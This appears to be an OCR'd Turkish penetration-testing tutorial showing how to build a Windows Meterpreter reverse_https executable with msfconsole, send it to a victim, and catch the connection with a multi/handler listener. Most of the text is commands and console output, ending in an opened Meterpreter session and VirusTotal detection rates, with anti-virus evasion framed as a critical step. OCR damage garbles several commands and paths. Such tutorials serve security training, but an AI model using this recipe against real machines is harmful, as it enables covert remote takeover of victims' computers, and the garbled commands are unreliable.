Payload'u Exe Yapmak ve Sisteme Sizma (2)

NOT: Onceki yazida msfpayload ile payload exe'lestirilip kurbana génderilmisken bu yazida msfconsole
ile payload exe'lestirilip kurbana gonderilmektedir. Ardindan handler ile dinleme moduna gegilip
exe'nin ¢ift tiklanmasi beklenilmistir.

Sizma testleri sirasinda anti-virtslerin atlatilarak hedef sistemin ele gegirilmesi kritik bir asamadir. Bu
yazida Metasploit tarafindan saglanan msfconsole araytzindeki payload secenegi kullanilarak zararli bir
uygulama olusturulacaktir.

Birazdan goreceginiz VirusTotal sonuglarindan da gorilecegi gibi msfconsole icerisindeki payload
secenegi kullanilarak olusturulan zararl yazilimlar bircok anti-virtis tarafindan tespit edilebilmektedir.
Zararh bir exe uygulamasi olusturmak igin érnek komutlar asagidaki gibidir:

use payload/windows/meterpreter/reverse_https

set LHOST 192.168.0.130

set LPORT 443

set EXITFUNC process

generate -t exe -f [root/Desktop/ZararliUygulama.exe

msf > use payload/windows/meterpreter/reverse_https
msf payload( ) > set LHOST 192.168.0.130
LHOST => 192.168.0.130

msf payload( ) > set LPORT 443

LPORT => 443

msf payload( ) > set EXITFUNC process

EXITFUNC => process
payload( ) > generate -t exe -f /root/Desktop/Zararlilygulama.exe
Writing 73802 bytes to /root/Desktop/Zararlilygulama.exe. ..
payload( ) > |

Metasploit'teki payload’u exe dosyasl yapmis bulunmaktayiz. Kali makinesinin /root/Desktop dizininde
olusan uygulama dosyasi (ZararliUygulama.exe) istemci bir bilgisayara génderilir. Bu uygulama
tiklandiginda baglanti elde edilmesi i¢in “exploit/multi’/handler” modult kullanilir:

use exploit/multi/lhandler

set PAYLOAD windows/meterpreter/reverse_https
set ExitOnSession false

set LHOST 192.168.0.130

set LPORT 443

show options



msf > use exploit/multi/handler

msf exploit( ) > set PAYLOAD windows/meterpreter/reverse_https
PAYLOAD => windows/meterpreter/reverse_https

msf exploit( ) > set ExitOnSession false

ExitOnSession => false

msf exploit( ) > set LHOST 192.168.0.130

LHOST => 192,168.0.130

msf exploit( ) > set LPORT 443

LPORT => 443

msf exploit( ) > show options

Module options (exploit/multi/handler):

Name Current Setting Required Description

Payload options (windows/meterpreter/reverse_https):

Name Current Setting Required Description

EXITFUNC process Exit technique: seh,| thread, process, none
LHOST 192.168.0.130 yes The local listener hostname
LPORT 443 yes The local listener port

Exploit target:
Id Name

0 Wildcard Target

exploit( I |

Exploit islemi baslatilir ve exe dosyasinin tiklanmasi icin beklenilir.
exploit -j

exploit p -]
[*] Exploit running as background job.

[*] Started HTTPS reverse handler on https://192.168.0.130:443/

[*] Starting the payload handler. ..
msf exploit(han ) >

Zararh uygulama kurban tarafindan cift tiklandiginda Payload calisir ve session elde edilir.

session -l



msf exploit( ) > exploit -j
([*] Exploit running as background job.

Started HTTPS reverse handler on https://192.168.0.130:443/
Starting the payload handler...
exploit( ) = [*] 192,168.0.10:49158 Request received for /KNQr..
192.168.0.10:49158 Staging connection for target /KNQr received...
Patched user-agent at offset 641512. ..
Patched transport at offset 641172...
Patched URL at offset 641240...
Patched Expiration Timeout at offset 641772...
Patched Communication Timeout at offset 641776...
Meterpreter session 1 opened (192.168.0.130:443 -> 192,168.0.10:49158) at 2014-08-28 12:49:38 -0400

exploit( ) > sessions -1

Active sessions

Information Connection

imsf exploit( ) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: PCl\Tubitak

Bdylece meterpreter’in sundugu tim imkanlardan faydalanabilir ve kurbanin makinasinda
dilenildigi gibi at oynatilabilir.

Hazirlanan zararli uygulamanin (payload’'dan exe yapilan dosyanin) giinimizde bir ¢cok anti-
viriis tarafindan yakalandigi gortlmektedir. Viris.mu (heniiz internete acilmamistir) tarafindan
gerceklestirilen tarama sonucunda 20 antivirlisten 16 tanesi tarafindan yakalandigi
gorulmektedir.
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Bunun yaninda Virus Total tarafindan gerceklestirilen tarama sonucunda 55 antivirusten 37 tanesi
tarafindan yakalandigi goérilmektedir.



M virustotal

SHAZ256: 546b0089arcladadeb10bddacfoc8T5506d2c234cT7375d56e1de8T0ec1816d95
Dosya adi: ZararliUygulama. exe
Tespit edilme orani 37 / 55

Analiz tarihi: 2014-08-28 16:51:42 UTC ( 1 dakika dnce)

NOT: Metasploit Framework msfpayload ve msfencode moddillerine olan destegini cekmistir. Bu modiiller
yerine MsfVenom ile zararli yazilim olusturulmasi tavsiye edilmektedir.

Kaynak: http://blog.btpro.net/msfconsole-arayuzundeki-payload-secenegi-kullanarak-zararli-yazilim-
olusturma/
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